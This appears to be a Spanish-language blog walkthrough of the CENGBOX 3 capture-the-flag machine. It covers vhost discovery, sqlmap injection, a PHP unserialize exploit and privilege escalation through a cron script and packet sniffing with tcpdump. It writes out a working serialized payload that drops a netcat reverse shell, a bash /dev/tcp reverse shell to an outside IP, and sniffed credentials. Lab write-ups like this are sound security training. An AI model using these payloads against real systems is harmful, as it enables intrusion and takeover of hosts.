CENGBOX: 3: vhost + PHP unserialize
- Difficulty : Intermediate / Hard
1-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-04 18:17 CEST
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
443/tcp open https
2-
En 80 no encontramos nada reseñable. La clave está en acceder por 443 y fijarnos en el certificado SSL que nos va a dar el vhost:
3-
A partir de ahí buscar gobuster vhost
gobuster vhost -u https://ceng-company.vm -w ../../combdir -t 128 -k
y sacamos el subdominio que nos interesa:
https://dev.ceng-company.vm/
4-
Tenemos una entrada de login que atacamos con sqlmap
sqlmap -u 'https://dev.ceng-company.vm/login.php' --data 'username=admin&passwd=admin' --dbs
y sacamos las credenciales de admin
5-
Una vez dentro tenemos un script addpoem.php que envía un poema serializado. Es el punto vulnerable para introducir un shell reverse. Después de varias pruebas el código que funciona es el siguiente:
GET /addpoem.php?data=O:4:"Poem":3{s:8:"poemName";s:6:"x";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:23:"/var/www/html/test9.php";s:8:"poemName";s:97:"<?php system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|bash -i 2>&1|nc 192.168.2.84 8888 >/tmp/ff');";}s:9:"poemLines";s:20:"x";} HTTP/1.1
6-
hay un user eric y le encontramos un script en opt/login.py que se ejecuta en cron, en lo que parece que utiliza dos archivos auxiliares: check.sh y whatismyip.py. No podemos ver el contenido del login.py. Tenemos además tcpdump con capabilities allow any user to sniff packets,
getcap -r / 2</dev/null
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
que es lo que nos lleva a pensar en monitorizar la red local para ver qué hace el login.py
tcpdump -i lo -vvv -A
01:17:01.621029 IP6 (flowlabel 0x12f31, hlim 64, next-header TCP (6) payload length: 77) localhost.60348 > localhost.http: Flags [P.], cksum 0x0055 (incorrect -> 0xeba7), seq 210:255, ack 1, win 342, options [nop,nop,TS val 8377147 ecr 8377146], length 45: HTTP
`./1.M.@...................................P_'.!Gl.V...V.U.....
...;...:username=eric&password=3ricThompson%2ACovid19
nos da las credenciales de eric
7-
una vez dentro solo hay que modificar el login.py que se ejecuta como root con otro shell reverse
import os; os.system("bash -c 'bash -i >& /dev/tcp/192.168.2.84/9999 0>&1'");
Comentarios
Publicar un comentario